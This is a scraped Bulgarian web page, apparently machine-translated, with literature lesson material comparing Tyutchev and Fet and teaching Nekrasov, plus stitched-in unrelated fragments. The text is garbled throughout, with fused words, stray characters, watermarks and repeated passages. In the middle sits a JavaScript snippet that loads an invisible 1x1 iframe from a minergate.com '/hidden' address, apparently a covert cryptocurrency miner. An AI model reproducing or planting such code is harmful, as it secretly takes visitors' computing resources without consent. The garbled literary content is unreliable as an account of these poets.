две най-великият поетот тяхната епоха - Фьодор Иванович Тютчев и Афанасий Афанасиевич Фет. Приносът на тези писатели в системата на руската версификация е безценен. В творчеството и на двамата могат да се открият черти, присъщи на много литературни фигури от онова време. Може би затова тези двама поети са толкова често сравнявани. Междувременно и Тютчев, и Фет имат специални, уникални детайли и настроения, които не могат да бъдат намерени в работата на другия.

Сред приликите в творчеството на двамата поети може да се отбележи начинът, по който те описват вътрешен святлирически герои. И Тютчев, и Фет обръщат повече внимание на най-дълбоките емоционални преживявания на човек, портретите на техните лирични герои са много психологични. В допълнение към психологизма и двамата поети използват техниката на паралелизъм: вътрешният свят, настроението на човек, неговите дълбоки преживявания и чувства често се отразяват в природата.

Подобни са и описанията на поетите за самата природа. Тяхната природа е двуизмерна: тя има пейзажна и психологическа страна. Това точно обяснява използването на паралелизъм: описанието на външния свят, така да се каже, се превръща в описание на емоциите на лирическия герой. Друго сходство са мотивите на любовната лирика. Тютчев и Фет преживяха ужасна трагедия: те загубиха любим човек и тази загуба се отрази в характера на техните любовни текстове.

Въпреки това голям бройВъпреки приликите, описани по-горе в текстовете на Фет и Тютчев, има доста разлики в тяхната работа. Лириката на Фет гравитира повече към описателни пейзажни теми, докато стиховете на Тютчев имат философски характер (въпреки че той също има достатъчно пейзажни стихове). Отношението към живота в стиховете на поетите също се различава: Фет се възхищава на живота, а Тютчев го възприема като битие.

Поетите възприемат природата и човека по различен начин: за Тютчев природата е огромен свят, пред който човекът става безсилен, а Фет я възприема като живо същество, живеещо в абсолютна хармония с човека. „Техническата“ страна на стиховете също е различна. Fet използва много синтактични средства за изразителност, особено често композиционно повторение. Тютчев по-често използва алегорични тропи, особено метафора и нейните разновидности.

Така че, въпреки големия брой открити прилики, не трябва да се губи от поглед огромният пласт от разлики между текстовете на Фет и Тютчев. Поетите са живели в една и съща епоха, те са били повлияни от едно и също общество и дори някои факти от тяхната биография са сходни, така че не трябва да е изненадващо, че има някои подобни мотиви в творчеството им. Но в същото време Фет и Тютчев са независими творчески личности, способни да създадат нещо оригинално и уникално, влагайки част от душата си в него.

Фьодор Тютчев беше със седемнадесет години по-възрастен от Афанасий Фет. Разликата във възрастта, местата, които посещават и живеят, оставят отпечатък върху творчеството на великите руски лирици, които умеят да изразяват своите мисли и преживявания в поетична форма, както никой друг. Масовите съвременни читатели се отнасяха към тяхната поезия доста студено и само времето постави всичко на мястото си. Тези двама гении са близки по своето благоговейно отношение и любов. Да сравним Тютчев и Фет.

Уникалността на поезията на Ф.И Тютчева

Фьодор Иванович е написал малко повече от четиристотин стихотворения през живота си. ги разделя на три периода. Ще се ограничим до анализа на произведения, които отразяват живота на природата с нейните дълбоки философски нюанси и любовна лирика. Сравнението на Тютчев и Фет в тези области на поезията показва разликата между завладяващата благодат на „чистото изкуство“ на А. Фет и пълнотата на мислите и истинските, макар и оскъдни изрази на чувствата на Ф. Тютчев.

Живеейки в Ница след смъртта на Е. Денисиева, която дълбоко скърби, поетът пише най-горчива поема, в която сравнява живота си с птица, чиито крила са счупени. Тя, виждайки яркия блясък на юга, него спокоен живот, иска и не може да стане. И цялата „трепери от болка и безсилие“. В осем реда виждаме всичко: ярката природа на Италия, чийто блясък не радва, а тревожи, нещастната птица, на която вече не й е съдено да лети, и Човека, който преживява болката й като своя. Сравнението между Тютчев и Фет, който също преживя лична драма, тук е просто невъзможно. Говорят руски, но на различни езици.

Стихотворението „Към руска жена“, което се състои от две строфи, е актуално и днес.

Накратко е очертано нейното безцветно и безполезно съществуване в безкрайните, пусти, безименни простори. Лирическият герой сравнява живота си с облак дим, който постепенно изчезва в смътното, мъгливо есенно небе.

Какво за любовта? Просто се анализира. Стихотворението „Лято 1854“ в началото е пронизано с наслада, магьосничеството на любовта, което е дадено на двама „изневиделица“. Но той го гледа с „тревожни очи“. Защо и откъде идва такава радост? Рационалният ум не може просто да го приеме. Трябва да стигнем до истината. Според лирическия герой това е просто демонично съблазняване...

Ф. Тютчев е тънък психолог и каквато и тема да вземе, той непременно ще се появи пред нас в цялото величие на гений.

Музикалният подарък на А. Фет

Сравнението на Тютчев и Фет показва, че каквато и картина да вземат и двамата поети, тя със сигурност ще отразява лицето на природата или любовта, често преплетени заедно. Само А. Фет има повече тръпка от живота, преходи на състояния. Поетът разкрива пред нас света и неговата красота, много точно ги възпроизвежда и подобрява човешката природа. „Майска нощ“ е стихотворение, което Л. Толстой веднага научи наизуст.

Има картина на нощно небе с топящи се облаци и обещание за любов и щастие на земята, което се оказва постижимо само на небето. Като цяло, с цялата си неоспорима музикалност, Фет стигна до радостно, почти езическо възприемане на съществуването.

Връзката между човека и природата у двама поети

Когато сравняваме текстовете на Тютчев и Фет, се оказва, че за Тютчев няма хармония между човека и природата. Той усилено се опитва да разгадае нейната вечна загадка, която този сфинкс може и да няма. Фет се възхищава на красотата й против волята си, тя се влива в него и се разлива под формата на ентусиазирани творби върху листове хартия.

Какво означава любовта за всеки от тях?

Тютчев вярва, че любовта разрушава човека. Тя е лишена от хармония. Този елемент, който внезапно идва и разрушава установения живот. Носи само страдание. Сравнението на поезията на Тютчев и Фет показва, че последният, дори в зряла възраст, има ярки и ентусиазирани цветове, за да опише пламналото чувство: „Сърцето лесно се предава на щастието“.

Помни и не забравя своето младежка любов, но не се отвръща от трагедията си в Alter ego и вярва, че за истинската любов има специална присъда – той не може да бъде разделен от любимата си.

Светът е творение на Създателя. И двамата поети се опитват да разберат Твореца чрез природата. Но ако Ф. Тютчев гледа на света с трагичен и философски поглед, тогава А. Фет, като славей, пее песен за неговата вечна красота.

В резултат на изучаването на темата студентите трябва да имат ясна представа за характеристиките на поетичния стил на Ф. Тютчев и А. Фет

В началото на урока учителят заедно с класа изготвя обобщена таблица, която се записва в тетрадки.

Характеристики на поетичния стил на Тютчев и Фет

През втората половина на урока можете да организирате независими изследователска работавъз основа на сравнителен анализ на стихотворението на Ф. Тютчев „Земята все още има тъжен поглед ...“ и стихотворението на А. Фет „Все още ароматното блаженство на пролетта ...“ и подготовка за самостоятелна писмена работа, която може да започне в клас и завършен вкъщи.

Задачи за сравнителен анализОпределете характеристиките на художествената форма на всяко стихотворение. Какъв поетичен смисъл може да се види в това?

За какво са тези стихове? Имат ли алегорични нюанси?

Какви образи на стихове могат да се считат за символични образи? Сравнете лексиката, синтаксиса, поетичните интонации на стихотворенията. Направете изводи за приликите и разликите между чувствата и художествените образи на тези стихотворения. Направете изводи за основните характеристики на поетичния стил на Тютчев и Фет, проявяващ се в тези стихотворения.

„Борбата ми попречи да бъда поет, песните ми попречиха да бъда борец.“ Личност и съдба на Н. А. Некрасов

Николай Алексеевич Некрасов Думите на Некрасов, които могат да се приемат като епиграф към творчеството на лирика, съдържат причината за вътрешните противоречия в неговия мироглед и творчество. Поетът – по същество лирик – през целия си живот подчинява поетичното си творчество на политически и социални задачи. Той не чакаше божествени звуци, изпратени отгоре за своите „песни“, а се стремеше да научи музата си каква трябва да бъде.

Според Некрасов музата е длъжна да „подиви“ на поета редове, изпълнени със състрадание към потиснатите и онеправданите хора, да бъде муза на „отмъщението и тъгата“

В началото на урока има кратък концерт от стихове на Некрасов и в допълнение емоционален разказ за най-важните страници от живота и творчеството на лирика. Можете да прочетете в клас стихове, които показват дълбоки чувства на състрадание към руския народ, стихотворения за любовта, за задачите на поетичното творчество, например: „Сърцето е разкъсано от агония ...“, „Винаги си несравнимо добър . ..”, „Чувайки ужасите на войната...”, „Празник на живота – млади години...

“, „Към поета” („Любов и труд – под купищата руини...”), „Към руския писател”.

Въпроси за класа за идентифициране на възприятиятаКакви житейски проблеми тревожат лирика? Как виждате появата му в тези стихове? Основата на разказа на учителя за страниците от биографията на писателя може да бъде хронологична диаграма: 1.

Детство в село Грешнев на Волга, обучение в ярославската гимназия. 2. Първите години от живота в Санкт Петербург, конфликт с баща си, началото на поетична дейност. Отрицателна оценка в критиката на сборника „Сънища и звуци”.

3. Повратната точка в живота на Некрасов е неговото сближаване с Белински. Некрасов е апологет на „гоголевското течение” в литературата. Текст от сайта Big Abstract RU

"Физиология на Санкт Петербург." 4. Произведения от първата половина на 40-те години: „Родина“, „Модерна ода“, „Приспивна песен“, „На пътя“ и др. Горчивина и състрадание към унижените, ирония към „господарите на живота“.

Въпроси и задачи за преговор върху стихотворението „Карам ли нощем по тъмна улица...“ 1. С какво настроение е проникнато това стихотворение? Как бихте определили неговия жанр (мемоар, размисъл, елегия, реквием, жанрова сцена)?

Какъв е произходът на човешката трагедия? Докажете, че съдбата на жената е била особено трудна и безнадеждна. Какъв е единственият изход от бедността и скръбта, който намира героинята? 3. В какво се упреква лирическият субект на стихотворението? Защо не може да забрави майката на детето си? 4. Как случка от „личен живот” помага да се разбере драмата на света, в който хората живеят? Какви обективни реалности характеризират света, в който живеят героите? Защо светът е безмилостен към тях? 5. Намерете ключови думивъв всяка част от поемата. Как са свързани с късното прозрение на лирическия субект? Как оценява „неуспешната” си любов? Индивидуални задачи.Сравнете стихотворенията „Карам през нощта по тъмна улица...“ и „По пътя“. Имат ли база за сравнение?

Сравнете различни гледни точки към стихотворението „Карам ли през нощта по тъмна улица...“: „Кажете на Некрасов от мен, че неговото стихотворение в 9-та книга [на „Современник“] напълно ме побърка; Ден и нощ аз рецитирам тази удивителна творба - и вече я научих наизуст” (от писмо на И. Тургенев до В. Белински от 26 ноември 1847 г.). „Кой може да напише стихотворения: „Филантроп“, „Епилог към ненаписано стихотворение“, „Шофиране по тъмна улица през нощта...“, „Саша“, „Живот в съответствие със строгия морал...

„, - той може да бъде сигурен, че жива Русия го познава и обича“ (Д. Писарев, 1861 г.). „Невъзможно е да прочетете тази ужасна история без тръпки и отвращение! Толкова безнравственост има в него, толкова страшна бедност!..

И няма нито една радостна мисъл!.. Няма и сянка от онази надежда в благостта на провидението, което винаги, постоянно подкрепя злополучния просяк и го пази от престъпление... Жалко, че г. , Музата на Некрасов е една от най-тъмните и че той вижда всичко в черна светлина ...

Сякаш вече няма по-светла страна?“ (от доклада на цензора Е. Волков, служител със специални задачи към министъра на народното просвещение, до инспектор А.

През 1847-1866г.

Некрасов е издател и редактор на „Съвременник“. Основните теми и мотиви на лириката на Некрасов от 1847-1866 г. Важно е да се вземе предвид тяхното жанрово разнообразие: стихотворения за тежкото положение на селяните, градската беднота, женски дял(„Орина, майката на войника“, „В в разгара сиселско страдание...“, „За времето“, „Плач на деца“, „Забравено село“ и др.); Лирични стихотворения за любовта, за връзките обичащи хора(„Винаги си несравнимо добър...“, „Ние с теб сме глупави хора...“, „Не харесвам твоята ирония...

“, „Съжалявам“ и др.); Стихове за поезията, за противоречието между поетично призвание и обществен дълг (“Празник на живота – годините на младостта...”, “Непознат съм. С теб не придобих...”, “Блажен е нежният поет”). ...

“, „Поет и гражданин” и др.); Стихове, посветени на хората на борбата, революционните настроения („Песен за Еремушка“, „На смъртта на Шевченко“, „Тургенев“, „Белински“, „Размисли на главния вход“, „В памет на Добролюбов“ и др. .); Стихове за Русия, за високото социално предназначение на руския човек („Независимо коя година силата намалява ...“, „Саша“, „Нещастният“, „Завръщане“, „Началото на поемата“ и др. .). 6

През 1867-1877г.

Некрасов е редактор и издател на списанието Отечественные записки. Върховете на поетичното творчество на Некрасов в периода ϶ᴛόᴛ: стихове за декабристите („Дядо“, „Руски жени“), сатирични стихотворения („Последно време“, „Съвременници“), стихотворението „Кой живее добре в Русия“; Елегични творби (“Задушно без щастие и воля...”, “Три елегии”, “Униние”, “Утро”, “Елегия”); Лирически цикъл „Последни песни” (1876-1877) („Към сеячите”, „Скоро ще стана плячка на тление...”, „Зин”, „О, музо!

Аз съм пред вратата на ковчега!..“). 7. 8 януари 1878 г. - смъртта на Некрасов. Неговото поетично завещание е стихотворението “Жин”. Зина е съпругата на Некрасов.

Страници: 1 2

Истинското й име е Фекла Оʜᴎϲ Викторова. Когато Некрасов я среща през 1871 г., той е на 50 години, а тя на 18. Тя е жена без образование. Когато той се разболя, тя се грижеше за него толкова безкористно, че преждевременно остаря. Информация от сайта Bigreferat.. Текст от сайта Big Abstract RU След смъртта му тя напуска Санкт Петербург и умира в Saraᴛᴏʙe през 1915 г.

Въпроси и задачи към стихотворението “Жин”С какво чувство подхожда поетът към смъртта?

Какво е обобщението на живота? Как и с какво настроение говори за посмъртната си слава? Защо той вярва, че славата му ще „избледнее“ след смъртта му? Какво е по-ценно за един лирик в живота: песните или борбата? Какъв характер придобива противоречието между поетическия талант и потребността от участие в обществената борба?

В какво се упреква поетът? Какъв е неговият чудотворен паметник на самия себе си? Сравнете тази позиция с поетичните вярвания на Пушкин в стихотворението „Паметник“.

Как се проявяват хуманистичните възгледи на Некрасов в това стихотворение? Какво, според Некрасов, трябва да бъде високото предназначение на човек?

Изводи.Сложният живот на Некрасов, пълен с изненади и съмнения, е отразен в неговите творби. Той реагира живо на много злободневни събития от своето време; съчувстваше на страдащите и онеправданите; научи музата си каква трябва да бъде; противопостави службата на изкуството на борбата за щастието на потиснатите; възхищаваше се на своите сънародници, които се придържаха към революционни позиции; Той тънко усети интимните отношения между хората, тяхната нежност и драма. Малко преди смъртта си той стига до убеждението, че е лош поет, тъй като е подчинил поетическия си талант на политическата борба, и лош борец, тъй като сърцето на лирика, отворено за „песни“, не е способно на последователна и ожесточена борба с враговете.

Страници: 1 2

Страница 1 от 1

(function() ( var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); s.appendChild(w, s); ))() ; ...

В изключително богатото и разнообразно творчество на Пушкин стиховете заемат много голямо и значимо място. Още в училище, в лицея, Пушкин замисля редица основни литературни произведения: поема, комедия, роман - но всички тези планове не се осъществяват и остават недовършени на един или друг етап от работата. Но лицеистът Пушкин пише много стихове...

В процеса на вътрешноучилищен контрол важна роля играе посещаемостта на класната стая от ръководителите на образователната институция. Присъствието на уроците е планирано за една седмица, въз основа на общите задачи, посочени в годишния работен план на училището. В плана на посещението се отбелязват класовете, предметите, съдържанието и целта на посещението. Целта на посещението може да бъде обща, насочена към подобряване на ефективността учебен процесцялото училище, както и частни, например изучаване на системата на работа на отделен учител и как той решава конкретни педагогически проблеми в класната стая (например затвърдяване на изучения материал). Ръководителите посещават уроците на младите учители, за да се запознаят с техния стил и система на работа и да им оказват методическа помощ. Мениджърите обикновено посещават уроци от опитни учители, за да обобщят своя богат учителски опит....

От детството стиховете на Фьодор Иванович Тютчев са с нас. Още не можех да чета, но вече знаех наизуст: Обичам гръмотевична буря в началото на май, Когато първият гръм на пролетта, Сякаш лудува и играе, Бумти в синьото небе. В Русия всички - малки и големи - знаят това стихотворение. Редовете на стихотворението „Пролетна гръмотевична буря“, неговите образи и звукът му се сляха за мен с образа и звука на пролетна гръмотевична буря и станаха неин израз. Той отдавна се е превърнал в най-обемния и поетично точен израз на гръмотевична буря над поле, гора, градина, над зелените простори на започващата пролет в Русия. Стихотворението „Пролетна гръмотевична буря” с право се нарича класическо. Тя издържа най-тежкото изпитание на времето и остава живо произведение на руската поезия....

Федор Иванович Тютчев стои встрани от руския поетичен пантеон. Вин е спътник на Пушкин. Уви, цялата работа е нечетлива. Тази поезия е пощадена от знаците на времето. Това, което е най-важно, не е изпитаната емоция на враждебност, а една единствена, светла концепция. Поетиката на Тютчев докосва кочаните и дъното. Има два реда. Пърша е пряко свързана с библейския мит за сътворението на света, приятел, чрез романтична поезия, връщайки се към древните легенди за светлината и космоса Снегът е бял, И шумят водите през пролетта - Бягане и събуждане нагоре по сънния бряг, бягане, сияние и говорене......

1. 1. Поезия на “чистото изкуство”. А. А. Фет, Ф. И. Тютчев 1 . Характеристики на поезията на „чистото изкуство” 2. Основните теми на поезията на „чистото изкуство” 3. Поезията на А. А. Фет 4. Поезията на Ф. И. Тютчев 1. Характеристики на поезията на „чистото изкуство” Знаци 1 Поезия на намеци, догадки, пропуски. 2 Стиховете нямат сюжет: лирическите миниатюри предават не мисли и чувства, а „нестабилното“ настроение на поета. 3 Изкуството не трябва да се свързва с живота. 4 Поетът не трябва да се меси в работите на бедния свят. 5 Това е поезия за елита. 2. Основните теми на поезията на „чистото изкуство“ Love Nature Art Lyrics се отличават с богатство от нюанси: нежност и топлина. Образност, нетрадиционни сравнения, епитети; хуманизиране на природата, намиране на ехо на собствените настроения и чувства. Мелодичност и музикалност. 3. Поезия на А. А. Фет Природата в стиховете на поета: Сезони Как руската пролет е представена в творбите от пухкави върби, първата момина сълза, която иска слънчеви лъчи, с полупрозрачни листа от цъфтящи брези, пчели, пълзящи „във всеки карамфил от ароматни люляци”, жерави, крещящи в степта на руското лято, искрящ горящ въздух, синьо, мъгливо небе, златисти нюанси на зрееща ръж във вятъра,
2. 2. лилавият дим на залеза, ароматът на окосени цветя над избледняващата степ, руската есен, цветните горски склонове, птиците, простиращи се в далечината или пърхащи в безлистни храсти, стадата на утъпкани стърнища, руската зима, движението на далечни шейни по лъскав сняг, играта на зората върху покрита със сняг бреза, шарките на скреж върху стъклото на двоен прозорец Природните произведения на А. А. Фет ги описват по-подробно и изглеждат по-специфични от тези на неговите предшественици. В своите стихотворения Фет описва не само традиционните птици, които са получили обичайната символична окраска, като орел, славей, лебед, чучулига, но също така и такива като блатар, бухал, чернокож, пясък, чучулига, бързолет и др., и всяка птица е показана в своята оригиналност. Сравнение на поезията за природата от Фет и Некрасов Природата е само обект на художествена наслада, естетическо удоволствие, откъснато от мисълта за връзката на природата с човешките нужди и човешкия труд. Природата е тясно свързана с човешкия труд, с това, което дава на човека. Особености пейзажна лирикажеланието да се записват промените в природата; наблюденията на измененията в природата постоянно се групират и възприемат като фенологични признаци; изобразяването на по-конкретни, по-кратки и по-конкретни участъци от сезоните; точността и яснотата прави пейзажите на Фет строго местни: като правило това са пейзажи от централните региони на Русия. Фет обича да описва точно определено време от деня, признаци на това или онова време, началото на това или онова явление в природата. Какво доближава поезията на Фет до импресионизма? 1 възхищение от чистата красота 2 преднамерена красота, дори баналност. 3 постоянно използване на такива епитети като „магически“, „нежен“, „сладък“, „прекрасен“, „привързан“ 4 желанието да се предаде темата фрагментарно, незабавно улавяне
3. 3. всяко усещане в щрихите 5 на поета се интересува не толкова от обекта, колкото от впечатлението, направено от обекта. Фет казва: „За един художник впечатлението, което е причинило произведението, е по-ценно от самото нещо, което предизвика това впечатление.” Какво е природата в стиховете на Фет? първи мрачни есенни дни пролетно цветеслаб централен руски следобед, кратка северна нощ, вик на комар, дрезгав зов на ливадния дърдавец Фет за творчеството: „Поетът е този, който вижда в обект нещо, което никой не би видял без негова помощ“. "Целият свят е пълен с красота." „Невъзможно е да не пееш, да не хвалиш, да не се молиш пред вечната красота“ 4. Поезия на Ф.И. Тютчева Характеристики на поезията на F.I. Тютчев Творчеството на Тютчев се отличава с живо усещане за Безкрая и Вечността като реалност, а не някакви абстрактни, абстрактни категории. Тютчев е откривател на нови образни светове в поезията. Мащабът на поетичните асоциации на Тютчев е удивителен. „Двойното съществуване” на раздвоената човешка душа е най-ясно изразено в любовната лирика на Тютчев. Любовна лирика Какво е любов? „самоубийство“ „блаженство и безнадеждност“ „фатален дуел“ „насилствена слепота на страстите“ е елемент Стихотворения, включени в „цикъла на Денисевски“
4. 4. „Цял ден тя лежеше в забрава...“ Неизбежното избледняване на любимия й: „и сенки я покриха цялата“ на фона на летния бунт на природата: Топъл дъжд се изливаше - потоците му звучаха весело по листата. “Близнаци” Мотивът за смъртта е неразривно преплетен с мотива за любовта: И който, в излишък от усещания, Когато кръвта кипи и замръзва, не позна вашите изкушения - Самоубийство и Любов. „Предопределението” Тютчев погледна в такива дълбини, в такива бездни на човешката душа, както никой преди него: Любов, любов - гласи легендата - Съединение на душата с душата на скъпия - Тяхното единство, съчетание, И тяхното фатално сливане , И... дуел. А.А. Фет „Учете се от тях - от дъба, от брезата“ Стихотворението е написано през 1883 г. А. А. Фет разшири възможностите за поетично изобразяване на реалността, показвайки вътрешната връзка между естествения свят и човешкия свят, оживявайки природата, създавайки пейзажни картини, които напълно отразяват състоянието на човешката душа. И това беше нова дума в руската поезия. Пейзажът на А. А. Фет не е ценен сам по себе си, той разкрива живота на душата. „Оригиналността на Фет“, заключава един от изследователите на неговата поезия, Н. Н. Скатов, „се състои в това, че в него хуманизацията на природата се среща с естествеността на човека“. „Човешко“ и „естествено“ в някои стихотворения на А.А. Фета или са слети заедно, или, развивайки се паралелно, се стремят към единство. Законите на природата, според А. А. Фет, несъмнено са по-важни от социалните идеи и поетът трябва да помни това. В стихотворението „Научете се от тях - от дъба, от брезата ...” природата дава пример за упоритост, който е поучителен за хората: „Учете се от тях - от дъба, от брезата. / Наоколо е зима. Жестоко време! / Напразно сълзите замръзнаха по тях, / И кората се напука и сви.” Ето и упрек, и поука към страдащия човек: „Стоят, мълчат; мълчи и ти!” И по-нататък: „Но се доверете на пролетта. През него гений ще се втурне, / Отново диша топлина и живот, / За ясни дни, за нови откровения / Ще оздравее скърбящата душа.” F.I. Тютчев „Не това, което мислиш, природа...“ В известното стихотворение „Не това, което мислиш, природа...“ (не по-късно от април 1836 г.) лирическата мисъл на Ф.И. Тютчев е най-близък до естествената философия на Шелинг.Това стихотворение е полемично страстно изявление на две есета на Г. Хайне, „Романтичната школа“ (1833) и „Цистори и религията и философията в Германия“, които са контраиздавани във Франция, където известният поет атакува не само естествената философия на Шелинг, но и поезията на „шелингианците” Новалис и Хофман, като твърди, че „обсъждането на тяхното поведение не е критика, а лекар”. „Не това, което си мислиш, природа: / Не гипс, не бездушно лице - / Има душа, има свобода, / Има любов, има език. .." Най-ясно е изразена убедеността във всеобщата духовност на природата
5. 5. в това стихотворение - един вид манифест на натурфилософската поезия на Ф. И. Тютчев. Есето на Г. Хайне е само претекст, получателите на стихотворението са хора, които са безразлични към природата, които виждат в нея само „отливка“, „бездушно лице“, които не могат да разберат нейния „език“. В поемата на Ф. И. Тютчев се сблъскваме не с романтичната метафоризация и психологизация на природата, а с нейното одухотворяване.

В резултат на изучаването на темата студентите трябва да имат ясна представа за характеристиките на поетичния стил на Ф. Тютчев и А. Фет. В началото на урока учителят заедно с класа изготвя обобщена таблица, която се записва в тетрадки.

Характеристики на поетичния стил на Тютчев и Фет

През втората половина на урока можете да организирате самостоятелна изследователска работа върху сравнителен анализ на стихотворението на Ф. Тютчев „Земята все още има тъжен поглед ...“ и стихотворението на А. Фет „Все още ароматно блаженство на пролетта ...“ и подготовка за самостоятелна писмена работа, която може да започне в клас и да завърши Houses.

Задачи за сравнителен анализ

Определете характеристиките на художествената форма на всяко стихотворение. Какъв поетичен смисъл може да се види в това?

За какво са тези стихове? Имат ли алегорични нюанси?

Стихове, посветени на другарите в борбата, революционните настроения („Песен за Еремушка“, „За смъртта на Шевченко“, „Тургенев“, „Белински“, „Размисли на главния вход“, „В памет на Добролюбов“ и др. );

Стихове за Русия, за високото социално предназначение на руския човек („Независимо коя година силата намалява ...“, „Саша“, „Нещастният“, „Завръщане“, „Началото на поемата“ и др. .).

6. През 1867-1877г. Некрасов - редактор и издател на списание „Домашни

Бележки." Върховете на поетичното творчество на Некрасов през този период:

Стихове за декабристите („Дядо“, „Руски жени“), сатирични стихотворения („Последно време“, „Съвременници“), стихотворението „“;

Елегични творби (“Задушно без щастие и воля...”, “Три елегии”, “Униние”, “Утро”, “Елегия”);

Лирически цикъл „Последни песни” (1876-1877) („Към сеячите”, „Скоро ще стана плячка на тление...”, „Зин”, „О, музо! Аз съм пред вратата на гроба!. .“).